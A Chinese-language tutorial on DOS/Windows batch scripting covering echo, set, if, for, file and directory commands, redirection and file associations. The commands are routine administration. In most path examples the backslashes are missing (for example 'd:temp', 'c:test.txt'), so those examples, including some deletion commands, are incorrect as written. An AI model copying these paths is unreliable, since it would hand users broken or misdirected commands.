批處理(Batch)，也稱為批處理腳本。顧名思義，批處理就是對某對象進行批量的處理。批處理文件的擴展名為bat。

目前比較常見 的批處理包含兩類：DOS批處理和PS批處理。PS批處理是基於強大的圖片編輯軟體Photoshop的，用來批量處理圖片的腳本；而DOS批處理則是基於DOS命令的，用來自動地批量地執行DOS命令以實現特定操作的腳本。這裡要講的就是DOS批處理。

批處理是一種簡化的腳本語言，它應用於DOS和Windows系統中，它是由DOS或者Windows系統內嵌的命令解釋器（通常是COMMAND.COM或者CMD.EXE）解釋運行。類似於Unix中的Shell腳本。批處理文件具有.bat或者.cmd的擴展名，其最簡單的例子，是逐行書寫在命令行中會用到的各種命令。更複雜的情況，需要使用if，for，goto等命令控制程序的運行過程，如同C，Basic等中高級語言一樣。如果需要實現更複雜的應用，利用外部程序是必要的，這包括系統本身提供的外部命令和第三方提供的工具或者軟體。

批處理文件，或稱為批處理程序，是由一條條的DOS命令組成的普通文本文件，可以用記事本直接編輯或用DOS命令創建，也可以用DOS下的文本編輯器Edit.exe來編輯。在「命令提示」下鍵入批處理文件的名稱，或者雙擊該批處理文件，系統就會調用Cmd.exe運行該批處理程序。一般情況下，每條命令占據一行；當然也可以將多條命令用特定符號（如：&、&&、|、||等）分隔後寫入同一行中；還有的情況就是像if、for等較高級的命令則要占據幾行甚至幾十幾百行的空間。

系統在解釋運行批處理程序時，首先掃描整個批處理程序，然後從第一行代碼開始向下逐句執行所有的命令，直至程序結尾或遇見exit命令或出錯意外退出。

**批處理命令簡介**

* echo
* rem
* pause
* call
* start
* goto
* set

**批處理符號簡介**

* 回顯屏蔽 @
* 重定向1 >與>>
* 重定向2 <
* 管道符號 |
* 轉義符 ^
* 邏輯命令符包括：&、&&、||

**常用DOS命令**

**文件夾管理**

* cd 顯示當前目錄名或改變當前目錄。
* md 創建目錄。
* rd 刪除一個目錄。
* dir 顯示目錄中的文件和子目錄列表。
* tree 以圖形顯示驅動器或路徑的文件夾結構。
* path 為可執行文件顯示或設置一個搜索路徑。
* xcopy 複製文件和目錄樹。

**文件管理**

* type 顯示文本文件的內容。
* copy 將一份或多份文件複製到另一個位置。
* del 刪除一個或數個文件。
* move 移動文件並重命名文件和目錄。(Windows XP Home Edition中沒有)
* ren 重命名文件。
* replace 替換文件。
* attrib 顯示或更改文件屬性。
* find 搜索字符串。
* fc 比較兩個文件或兩個文件集並顯示它們之間的不同

**網絡命令**

* ping 進行網絡連接測試、名稱解析
* ftp 文件傳輸
* net 網絡命令集及用戶管理
* telnet 遠程登陸
* ipconfig顯示、修改TCP/IP設置
* msg 給用戶發送消息
* arp 顯示、修改區域網的IP位址-物理地址映射列表

**系統管理**

* at 安排在特定日期和時間運行命令和程序
* shutdown立即或定時關機或重啟
* tskill 結束進程
* taskkill結束進程(比tskill高級，但WinXPHome版中無該命令)
* tasklist顯示進程列表(Windows XP Home Edition中沒有)
* sc 系統服務設置與控制
* reg 註冊表控制台工具
* powercfg控制系統上的電源設置

對於以上列出的所有命令，在cmd中輸入命令+/?即可查看該命令的幫助信息。如find /?

**1 echo 和 @**回顯命令 @ #關閉單行回顯 echo off #從下一行開始關閉回顯 @echo off #從本行開始關閉回顯。一般批處理第一行都是這個 echo on #從下一行開始打開回顯 echo #顯示當前是 echo off 狀態還是 echo on 狀態 echo. #輸出一個」回車換行」，空白行 #(同echo, echo; echo+ echo[ echo] echo/ echo)

**2 errorlevel**echo %errorlevel% 每個命令運行結束，可以用這個命令行格式查看返回碼 默認值為0，一般命令執行出錯會設 errorlevel 為1 **3 dir**顯示文件夾內容 dir #顯示當前目錄中的文件和子目錄 dir /a #顯示當前目錄中的文件和子目錄，包括隱藏文件和系統文件 dir c: /a:d #顯示 C 盤當前目錄中的目錄 dir c: /a:-d #顯示 C 盤根目錄中的文件 dir c: /b/p #/b只顯示文件名，/p分頁顯示 dir \*.exe /s #顯示當前目錄和子目錄里所有的.exe文件 **4 cd**切換目錄 cd #進入根目錄 cd #顯示當前目錄 cd /d d:sdk #可以同時更改盤符和目錄  
  
**5 md**創建目錄 md d:abc #如果 d:a 不存在，將會自動創建中級目錄 #如果命令擴展名被停用，則需要鍵入 mkdir abc。  
 **6 rd**刪除目錄 rd abc #刪除當前目錄里的 abc 子目錄，要求為空目錄 rd /s/q d:temp #刪除 d:temp 文件夾及其子文件夾和文件，/q安靜模式

**7 del**刪除文件 del d:test.txt #刪除指定文件，不能是隱藏、系統、只讀文件 del /q/a/f d:temp\*.\* 刪除 d:temp 文件夾裡面的所有文件，包括隱藏、只讀、系統文件，不包括子目錄 del /q/a/f/s d:temp\*.\* 刪除 d:temp 及子文件夾裡面的所有文件，包括隱藏、只讀、系統文件，不包括子目錄  
  
 **8 ren**重命名命令 ren d:temp tmp #支持對文件夾的重命名  
  
 **9 cls**清屏  
  
 **10 type**顯示文件內容 type c:boot.ini #顯示指定文件的內容，程序文件一般會顯示亂碼 type \*.txt #顯示當前目錄里所有.txt文件的內容  
  
 **11 copy**拷貝文件 copy c:test.txt d:test.bak 複製 c:test.txt 文件到 d: ，並重命名為 test.bak copy con test.txt 從螢幕上等待輸入，按 Ctrl+Z 結束輸入，輸入內容存為test.txt文件 con代表螢幕，prn代表印表機，nul代表空設備 copy 1.txt + 2.txt 3.txt 合併 1.txt 和 2.txt 的內容，保存為 3.txt 文件 如果不指定 3.txt ，則保存到 1.txt copy test.txt + 複製文件到自己，實際上是修改了文件日期  
  
 **12 title**設置cmd窗口的標題 title 新標題 #可以看到cmd窗口的標題欄變了  
  
**13 ver**顯示系統版本  
  
**14 label 和 vol**設置卷標 vol #顯示卷標 label #顯示卷標，同時提示輸入新卷標 label c:system #設置C盤的卷標為 system  
  
**15 pause**暫停命令  
  
**16 rem 和 ::**注釋命令 注釋行不執行操作  
  
**17 date 和 time**日期和時間 date #顯示當前日期，並提示輸入新日期，按"回車"略過輸入 date/t #只顯示當前日期，不提示輸入新日期 time #顯示當前時間，並提示輸入新時間，按"回車"略過輸入 time/t #只顯示當前時間，不提示輸入新時間  
  
**18 goto 和 :**跳轉命令 :label #行首為:表示該行是標籤行，標籤行不執行操作 goto label #跳轉到指定的標籤那一行  
  
**19 find (外部命令)**查找命令 find "abc" c:test.txt 在 c:test.txt 文件里查找含 abc 字符串的行 如果找不到，將設 errorlevel 返回碼為1 find /i 「abc」 c:test.txt 查找含 abc 的行，忽略大小寫 find /c "abc" c:test.txt 顯示含 abc 的行的行數  
  
**20 more (外部命令)**逐屏顯示 more c:test.txt #逐屏顯示 c:test.txt 的文件內容  
  
**21 tree**顯示目錄結構 tree d: #顯示D盤的文件目錄結構  
  
**22 &**順序執行多條命令，而不管命令是否執行成功  
  
**23 &&**順序執行多條命令，當碰到執行出錯的命令後將不執行後面的命令 find "ok" c:test.txt && echo 成功 如果找到了"ok"字樣，就顯示"成功"，找不到就不顯示  
  
**24 ||**順序執行多條命令，當碰到執行正確的命令後將不執行後面的命令 find "ok" c:test.txt || echo 不成功 如果找不到"ok"字樣，就顯示"不成功"，找到了就不顯示  
  
**25 |**管道命令 dir \*.\* /s/a | find /c ".exe" 管道命令表示先執行 dir 命令，對其輸出的結果執行後面的 find 命令 該命令行結果：輸出當前文件夾及所有子文件夾里的.exe文件的個數 type c:test.txt|more 這個和 more c:test.txt 的效果是一樣的  
  
**26 > 和 >>**輸出重定向命令 > 清除文件中原有的內容後再寫入 >> 追加內容到文件末尾，而不會清除原有的內容 主要將本來顯示在螢幕上的內容輸出到指定文件中 指定文件如果不存在，則自動生成該文件 type c:test.txt >prn 螢幕上不顯示文件內容，轉向輸出到印表機 echo hello world>con 在螢幕上顯示hello world，實際上所有輸出都是默認 >con 的 copy c:test.txt f: >nul 拷貝文件，並且不顯示"文件複製成功"的提示信息，但如果f盤不存在，還是會顯示出錯信息 copy c:test.txt f: >nul 2>nul 不顯示」文件複製成功」的提示信息，並且f盤不存在的話，也不顯示錯誤提示信息 echo ^^W ^> ^W>c:test.txt 生成的文件內容為 ^W > W ^ 和 > 是控制命令，要把它們輸出到文件，必須在前面加個 ^ 符號  
  
**27 <**從文件中獲得輸入信息，而不是從螢幕上 一般用於 date time label 等需要等待輸入的命令 @echo off echo 2005-05-01>temp.txt date <temp.txt del temp.txt 這樣就可以不等待輸入直接修改當前日期  
  
**28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %\***命令行傳遞給批處理的參數 %0 批處理文件本身 %1 第一個參數 %9 第九個參數 %\* 從第一個參數開始的所有參數 批參數(%n)的替代已被增強。您可以使用以下語法: %~1 - 刪除引號(")，擴充 %1 %~f1 - 將 %1 擴充到一個完全合格的路徑名 %~d1 - 僅將 %1 擴充到一個驅動器號 %~p1 - 僅將 %1 擴充到一個路徑 %~n1 - 僅將 %1 擴充到一個文件名 %~x1 - 僅將 %1 擴充到一個文件擴展名 %~s1 - 擴充的路徑指含有短名 %~a1 - 將 %1 擴充到文件屬性 %~t1 - 將 %1 擴充到文件的日期/時間 %~z1 - 將 %1 擴充到文件的大小 %~$PATH : 1 - 查找列在 PATH 環境變量的目錄，並將 %1 擴充到找到的第一個完全合格的名稱。如果環境 變量名未被定義，或者沒有找到文件，此組合鍵會 擴充到空字符串 可以組合修定符來取得多重結果: %~dp1 - 只將 %1 擴展到驅動器號和路徑 %~nx1 - 只將 %1 擴展到文件名和擴展名 %~dp$PATH:1 - 在列在 PATH 環境變量中的目錄里查找 %1， 並擴展到找到的第一個文件的驅動器號和路徑。 %~ftza1 - 將 %1 擴展到類似 DIR 的輸出行。 可以參照 call/? 或 for/? 看出每個參數的含意 echo load "%%1" "%%2">c:test.txt 生成的文件內容為 load "%1" "%2" 批處理文件里，用這個格式把命令行參數輸出到文件  
  
**29 if**判斷命令 if "%1"=="/a" echo 第一個參數是/a if /i "%1" equ "/a" echo 第一個參數是/a /i 表示不區分大小寫，equ 和 == 是一樣的，其它運算符參見 if/? if exist c:test.bat echo 存在c:test.bat文件 if not exist c:windows ( echo 不存在c:windows文件夾 ) if exist c:test.bat ( echo 存在c:test.bat ) else ( echo 不存在c:test.bat )  
  
**30 setlocal 和 endlocal**設置」命令擴展名」和」延緩環境變量擴充」 SETLOCAL ENABLEEXTENSIONS #啟用"命令擴展名" SETLOCAL DISABLEEXTENSIONS #停用"命令擴展名" SETLOCAL ENABLEDELAYEDEXPANSION #啟用"延緩環境變量擴充" SETLOCAL DISABLEDELAYEDEXPANSION #停用"延緩環境變量擴充" ENDLOCAL #恢復到使用SETLOCAL語句以前的狀態 「命令擴展名」默認為啟用 「延緩環境變量擴充」默認為停用 批處理結束系統會自動恢復默認值 可以修改註冊表以禁用"命令擴展名"，詳見 cmd /? 。所以用到"命令擴展名"的程 序，建議在開頭和結尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 語句，以確 保程序能在其它系統上正確運行 "延緩環境變量擴充"主要用於 if 和 for 的符合語句，在 set 的說明里有其實用例程  
  
**31 set**設置變量 引用變量可在變量名前後加 % ，即 %變量名% set #顯示目前所有可用的變量，包括系統變量和自定義的變量 echo %SystemDrive% #顯示系統盤盤符。系統變量可以直接引用 set p #顯示所有以p開頭的變量，要是一個也沒有就設errorlevel=1 set p=aa1bb1aa2bb2 #設置變量p，並賦值為 = 後面的字符串，即aa1bb1aa2bb2 echo %p% #顯示變量p代表的字符串，即aa1bb1aa2bb2 echo %p:~6% #顯示變量p中第6個字符以後的所有字符，即aa2bb2 echo %p:~6,3% #顯示第6個字符以後的3個字符，即aa2 echo %p:~0,3% #顯示前3個字符，即aa1 echo %p:~-2% #顯示最後面的2個字符，即b2 echo %p:~0,-2% #顯示除了最後2個字符以外的其它字符，即aa1bb1aa2b echo %p:aa=c% #用c替換變量p中所有的aa，即顯示c1bb1c2bb2 echo %p:aa=% #將變量p中的所有aa字符串置換為空，即顯示1bb12bb2 echo %p:\*bb=c% #第一個bb及其之前的所有字符被替換為c，即顯示c1aa2bb2 set p=%p:\*bb=c% #設置變量p，賦值為 %p:\*bb=c% ，即c1aa2bb2 set /a p=39 #設置p為數值型變量，值為39 set /a p=39/10 #支持運算符，有小數時用去尾法，39/10=3.9，去尾得3，p=3 set /a p=p/10 #用 /a 參數時，在 = 後面的變量可以不加%直接引用 set /a p=」1&0″ #」與」運算，要加引號。其它支持的運算符參見set/? set p= #取消p變量 set /p p=請輸入 螢幕上顯示」請輸入」，並會將輸入的字符串賦值給變量p 注意這條可以用來取代 choice 命令 注意變量在 if 和 for 的複合語句里是一次性全部替換的，如 @echo off set p=aaa if %p%==aaa ( echo %p% set p=bbb echo %p% ) 結果將顯示 aaa aaa 因為在讀取 if 語句時已經將所有 %p% 替換為aaa 這裡的"替換"，在 /? 幫助里就是指"擴充"、"環境變量擴充" 可以啟用」延緩環境變量擴充」，用 ! 來引用變量，即 !變量名! @echo off SETLOCAL ENABLEDELAYEDEXPANSION set p=aaa if %p%==aaa ( echo %p% set p=bbb echo !p! ) ENDLOCAL 結果將顯示 aaa bbb 還有幾個動態變量，運行 set 看不到 %CD% #代表當前目錄的字符串 %DATE% #當前日期 %TIME% #當前時間 %RANDOM% #隨機整數，介於0~32767 %ERRORLEVEL% #當前 ERRORLEVEL 值 %CMDEXTVERSION% #當前命令處理器擴展名版本號 %CMDCMDLINE% #調用命令處理器的原始命令行 可以用echo命令查看每個變量值，如 echo %time% 注意 %time% 精確到毫秒，在批處理需要延時處理時可以用到  
  
**32 start**批處理中調用外部程序的命令，否則等外部程序完成後才繼續執行剩下的指令  
  
**33 call**批處理中調用另外一個批處理的命令，否則剩下的批處理指令將不會被執行 有時有的應用程式用start調用出錯的，也可以call調用  
  
**34 choice (外部命令)**選擇命令 讓用戶輸入一個字符，從而選擇運行不同的命令，返回碼errorlevel為1234…… win98里是choice.com win2000pro里沒有，可以從win98里拷過來 win2003里是choice.exe choice /N /C y /T 5 /D y>nul 延時5秒  
  
**35 assoc 和 ftype**文件關聯 assoc 設置'文件擴展名'關聯，關聯到'文件類型' ftype 設置'文件類型'關聯，關聯到'執行程序和參數' 當你雙擊一個.txt文件時，windows並不是根據.txt直接判斷用 notepad.exe 打開 而是先判斷.txt屬於 txtfile '文件類型' 再調用 txtfile 關聯的命令行 txtfile=%SystemRoot%system32NOTEPAD.EXE %1 可以在"文件夾選項"→"文件類型"里修改這2種關聯 assoc #顯示所有'文件擴展名'關聯 assoc .txt #顯示.txt代表的'文件類型'，結果顯示 .txt=txtfile assoc .doc #顯示.doc代表的'文件類型'，結果顯示 .doc=Word.Document.8 assoc .exe #顯示.exe代表的'文件類型'，結果顯示 .exe=exefile ftype #顯示所有'文件類型'關聯 ftype exefile #顯示exefile類型關聯的命令行，結果顯示 exefile="%1" %\* assoc .txt=Word.Document.8 設置.txt為word類型的文檔，可以看到.txt文件的圖標都變了 assoc .txt=txtfile 恢復.txt的正確關聯 ftype exefile="%1" %\* 恢復 exefile 的正確關聯 如果該關聯已經被破壞，可以運行 command.com ，再輸入這條命令  
  
**36 pushd 和 popd**切換當前目錄 @echo off c: & cd & md mp3 #在 C: 建立 mp3 文件夾 md d:mp4 #在 D: 建立 mp4 文件夾 cd /d d:mp4 #更改當前目錄為 d:mp4 pushd c:mp3 #保存當前目錄，並切換當前目錄為 c:mp3 popd #恢復當前目錄為剛才保存的 d:mp4  
  
**37 for**循環命令 這個比較複雜，請對照 for/? 來看 for %%i in (c: d: e: f:) do echo %%i 依次調用小括號里的每個字符串，執行 do 後面的命令 注意%%i，在批處理中 for 語句調用參數用2個% 默認的字符串分隔符是"空格鍵"，"Tab鍵"，"回車鍵" for %%i in (\*.txt) do find "abc" %%i 對當前目錄里所有的txt文件執行 find 命令 for /r . %%i in (\*.txt) do find "abc" %%i 在當前目錄和子目錄里所有的.txt文件中搜索包含 abc 字符串的行 for /r . %%i in (.) do echo %%~pni 顯示當前目錄名和所有子目錄名，包括路徑，不包括盤符 for /r d:mp3 %%i in (\*.mp3) do echo %%i>>d:mp3.txt 把 d:mp3 及其子目錄里的mp3文件的文件名都存到 d:mp3.txt 里去 for /l %%i in (2,1,8) do echo %%i 生成2345678的一串數字，2是數字序列的開頭，8是結尾，1表示每次加1 for /f %%i in ('set') do echo %%i 對 set 命令的輸出結果循環調用，每行一個 for /f "eol=P" %%i in ('set') do echo %%i 取 set 命令的輸出結果，忽略以 P 開頭的那幾行 for /f %%i in (d:mp3.txt) do echo %%i 顯示 d:mp3.txt 里的每個文件名，每行一個，不支持帶空格的名稱 for /f "delims=" %%i in (d:mp3.txt) do echo %%i 顯示 d:mp3.txt 里的每個文件名，每行一個，支持帶空格的名稱 for /f "skip=5 tokens=4" %%a in ('dir') do echo %%a 對 dir 命令的結果，跳過前面5行，餘下的每行取第4列 每列之間的分隔符為默認的"空格" 可以注意到 dir 命令輸出的前5行是沒有文件名的 for /f "tokens=1,2,3 delims=- " %%a in ('date /t') do ( echo %%a echo %%b echo %%c ) 對 date /t 的輸出結果，每行取1、2、3列 第一列對應指定的 %%a ，後面的 %%b 和 %%c 是派生出來的，對應其它列 分隔符指定為 - 和"空格"，注意 delims=- 後面有個"空格" 其中 tokens=1,2,3 若用 tokens=1-3 替換，效果是一樣的 for /f "tokens=2\* delims=- " %%a in ('date /t') do echo %%b 取第2列給 %%a ，其後的列都給 %%b  
  
**38 subst (外部命令)**映射磁碟。 subst z: serverd #這樣輸入z:就可以訪問serverd了 subst z: /d #取消該映射 subst #顯示目前所有的映時  
  
**39 xcopy (外部命令)**文件拷貝 xcopy d:mp3 e:mp3 /s/e/i/y 複製 d:mp3 文件夾、所有子文件夾和文件到 e: ，覆蓋已有文件 加 /i 表示如果 e: 沒有 mp3 文件夾就自動新建一個，否則會有詢問